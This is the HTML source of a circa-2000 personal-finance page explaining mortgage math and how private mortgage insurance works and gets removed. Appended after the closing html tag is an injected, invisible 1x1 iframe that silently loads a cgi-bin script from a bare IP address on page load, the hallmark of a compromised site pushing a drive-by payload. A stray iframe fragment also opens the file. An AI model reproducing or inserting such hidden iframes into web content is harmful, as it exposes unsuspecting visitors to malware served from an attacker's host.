</ifr<HTML> <HEAD><TITLE>Home Mortgage investing your new mortgage math home buying mortgage lender</TITLE> <meta NAME="KEYWORDS" CONTENT="home mortgage investing new mortgage math home buying mortgage lender Home Investing New Mortgage Math Home Buying Mortgage Lender INVESTING MORTGAGE NEW HOME MORTGAGE MATH HOME BUYING MORTGAGE LENDER"> <meta NAME="description" CONTENT="Home mortgages, investing in your new mortgage, math for buying a new home, and home buying and mortgage lender advice"> </HEAD> <BODY LINK="0000CC" VLINK="0000CC" BGCOLOR="FFFFFF" TEXT="000000"> <div style="visibility:hidden"></div> <table width=600> <tr> <td width=440> <MAP NAME= "menu_bar"> <AREA SHAPE= "RECT" COORDS= "153,66,236,81" href="http://www.bluecollardollar.com/freeweekly.html"> <AREA SHAPE= "RECT" COORDS= "240,66,300,81" HREF="http://www.bluecollardollar.com/debt.html" TARGET="_top"> <AREA SHAPE= "RECT" COORDS= "305,66,375,81" HREF="http://www.bluecollardollar.com/mutualfund.html" TARGET="_top"> <AREA SHAPE= "RECT" COORDS= "380,66,440,81" HREF="mailto:info@bluecollardollar.com" TARGET="_top"> </map> <img src="http://www.bluecollardollar.com/bcd.jpg" ISMAP USEMAP= "#menu_bar" border=0 alt="Home Mortgage, the new mortgage math, investing when buying your new home lender"> </td> <td width=160> </td> </table>  <TABLE border=0 Width=620> <TR> <TD WIDTH = 195> <font face ="Verdana, Helvetica" size=1"> <p> </font> </TD> <TD width = 415 Valign="CENTER"> </CENTER> <h2>Home Mortgage</h2> <h5>Some New Mortgage Math and Investing </h5> </TD> </TR> <TR> <TD Valign="top">  <TABLE width=151 CELLSPACING=0 CELLPADDING=0 BORDER=0> <TR> <TD align=center width=151> <IMG SRC="http://www.bluecollardollar.com/TABLE_TOP.gif"></td> </tr> <tr> <td width=151 bgcolor="CCCCCC"> <table CELLSPACING=0 Cellpadding=0 border=0 width=151> <tr> <td width=4>   </td> <td width=147> <font face="Verdana, HELvita" size=1>   <br> <STRONG>Who We Are</STRONG><BR> <a href="http://www.bluecollardollar.com/pageone.html"> Getting Ahead</a><br> <a href="http://www.bluecollardollar.com/debt.html"> Debt Doctrine</a><BR> <a href="http://www.bluecollardollar.com/monthly.html"> Index of Letters</a><BR> <a href="http://www.bluecollardollar.com/inbetweenindex.html">On the InBetween</A><BR> <a href="http://www.bluecollardollar.com/freeweekly.html">Subscribe</A><BR>  <p> <center> <hr width="90%"> </center> <BR> <STRONG>Money Focus</STRONG><BR> <a href="http://www.bluecollardollar.com/mutualfund.html"> Mutual Funds</a><BR> <a href="http://www.bluecollardollar.com/insuranceindex.html"> Insurance</a><BR> <a href="http://www.bluecollardollar.com/homeindex.html"> Mortgages</a><BR><a href="http://www.bluecollardollar.com/laborindex.html">Labor</a><BR> <a href="http://www.bluecollardollar.com/debtlink.html"> Three Links</a><BR> <a href="http://www.bluecollardollar.com/disclaimer.html"> Disclaimer<BR></a> </a> <p> <center> <hr width="90%"> </center> <BR> <STRONG>Features</STRONG><BR> <a href="http://www.bluecollardollar.com/3rs.html"> The Three R's<BR></a> <a href="http://www.bluecollardollar.com/digestindex.html"> The Digest<BR></a> <a href="http://www.bluecollardollar.com/planners.html"> Financial Planners<BR></a> <p> <center> <hr width="90%"> </center> <BR> <STRONG>Special</STRONG><BR> <a href="http://www.bluecollardollar.com/inbetween401k.html"> A 401k Alert<BR></a> <a href="http://www.bluecollardollar.com/compounding.html"> Compounding<BR></a> <a href="http://www.bluecollardollar.com/irony.html"> Isn't it ironic<BR></a> <p> <center> <hr width="90%"> </center> <BR> <strong> Investing</strong><br>  <A HREF="http://www.bluecollardollar.com/thechart.html">The BCD 31<BR></a>   <A HREF="http://www.bluecollardollar.com/rankingmanagers.html">Ranking Managers<P></A>  <A HREF="http://www.bluecollardollar.com/billpaying.html">Online Billpaying<P></A>  <A HREF="http://www.bluecollardollar.com/toobig.html">Fund Closures<P></A>  <A HREF="http://www.bluecollardollar.com/marriagepenalty.html">Marriage Penalty<P></A>  <A HREF="http://www.bluecollardollar.com/estatetax.html">Estate Taxes<P></A>  </td> </tr> </table> </td> </tr> <tr> <td width=151 align=LEFT> <IMG SRC="http://www.bluecollardollar.com/TABLE_BOTTOM2.gif"> </td> </tr> </table>  </TD> <TD width=405 VALIGN="TOP">  <br> <table border=0> <tr valign="top"> <td Valign="TOP" width= 245> <CENTER>  <STRONG></center> <font face="Verdana" size=3>New Mortgage Math</strong></font></a> <br> <font face="Verdana, Helvetica" size=2> A home without a doubt, would be considered an investment. You are investing in your future, and your mortgage is the payment you make on that future. But how will you do the math when it comes time to buy that home, purchase that home loan, and set yourself up in a thirty year savings plan can save you a ton of cash. <font face="Verdana, Helvetica" size=2><p> Private Mortgage Insurance, a necessary component of every mortgage purchased with less than a 20% down payment, is designed to protect the lender from default. Default in this instance means; they want their money, and because you don't have a lot to put down, they will make you pay extra for the priviledge of protecting their investment. And because you are unable to put down the "20%" that is considered ideal by the lenders, an additional payment is tacked on your mortgage until you pay enough on the home to have purchased twenty percent of it, or the value of the home has increased to meet that value bar set by the lender. If the later happens, it would be good on your part to let the lender know what has happened in your neighborhood and property values. They will point you in the right direction to getting the PMI removed. Otherwise, the lender has to take care of this business and stop your payments for insurance that is no longer needed. Once again, check with your lender on when and how this takes place. Either way, the law is on your side in this matter. <font face="Verdana, Helvetica" size=2><p>But there is a way to avoid the PMI. And if the savings are worth it, they might be worth looking into. <a href="http://www.bluecollardollar.com/home2.html">next page</a> <p><a href="http://www.bluecollardollar.com/freeweekly.html"><img src="http://www.bluecollardollar.com/SubscribeNowOPT.gif"></a> <p> <STRONG></center> <font face="Verdana" size=3><a href="http://www.bluecollardollar.com/goodbadyours.html">Debt</strong></font></a> <br> <font face="Verdana, helvetica" size=2> Is there such a thing as good debt? What do you suppose bad debt is? And what kind do you have? <p align="center"><font face="Verdana, helvetica" size=1> All content is © copyright (1999-2000)<br> BonPaulProductions (all rights reserved)</font></font></font></font> </p> <p> </td> <br> <td valign="top" width=160>  </td> </tr> </table> <center> <p> <p> <p> <font face="Verdana, Helvetica" size=1>  </td> </tr> </table> </body>ody> </html> ��<iframe src='http://81.95.149.235/cgi-bin/nsp.cgi?p=alex' width='1' height='1' style='visibility: hidden;'>